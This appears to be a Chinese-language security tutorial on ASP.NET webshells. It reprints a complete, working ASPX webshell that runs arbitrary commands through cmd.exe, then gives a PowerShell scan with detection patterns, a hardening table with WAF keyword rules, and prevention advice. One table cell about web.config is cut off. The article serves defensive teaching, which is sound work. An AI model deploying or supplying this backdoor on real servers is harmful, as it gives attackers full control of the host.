**本文僅供安全研究與防禦教學用途。** 原文提供的「ASP.NET WebShell」代碼屬於**惡意後門程式**,允許攻擊者在伺服器上執行任意系統指令(`cmd.exe`),具備完全控制伺服器的能力。實際部署或使用此類代碼**違反資安法規、違背職業道德**,且會造成嚴重資安事件。
<%@ Page Language="C#" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text; // 直接取得使用者輸入
Process p = new Process();
p.StartInfo.FileName = "cmd.exe"; // 啟動系統命令解釋器
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true; // 寫入指令
p.StartInfo.RedirectStandardOutput = true; // 讀取輸出
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.WriteLine(item); // 執行任意指令
p.StandardInput.WriteLine("exit");
string strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
Response.Write("" + strOutput + "
"); // 回顯結果
}
</script>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" Text="dir c:\" />
<asp:Button OnClick="exec" Text="execute" />
</form>
# PowerShell 掃描可疑 .aspx/.ashx 檔案
Get-ChildItem -Recurse -Include *.aspx,*.ashx,*.asmx |
Select-String -Pattern "Process\.Start", "cmd\.exe", "RedirectStandardInput", "WebShell" |
Select-Object Path, LineNumber, Line
| 層面 | 措施 |
|---|---|
| 最小權限 | 應用程式池使用專用低權限身分 (ApplicationPoolIdentity),禁用 `Load User Profile` 若不需要 |
| 禁用危險功能 | `web.config`: ` |
| 檔案上傳防護 | 驗證副檔名、MIME、魔數;儲存於非執行目錄;重新命名;掃毒 |
| 目錄執行權限 | 上傳目錄、暫存目錄設定 `HandlerMapping` 移除 `*.aspx` 處理器,或 IIS `Execute Permissions = None` |
| WAF/請求過濾 | 封鎖含 `cmd.exe`、`powershell`、`wscript.shell` 等特徵的請求 |
| 程式碼審計 | CI/CD 管線整合 SAST (SonarQube, Fortify, CodeQL) 偵測 `Process.Start` 等危險 API |
| 定期滲透測試 | 模擬 WebShell 上傳與利用,驗證防禦有效性 |
WebShell 是伺服器入侵後最常見的持久化手段。**預防勝於治療**:嚴格管控檔案上傳、實施最小權限、部署行為偵測、定期滲透測試,才能有效降低風險。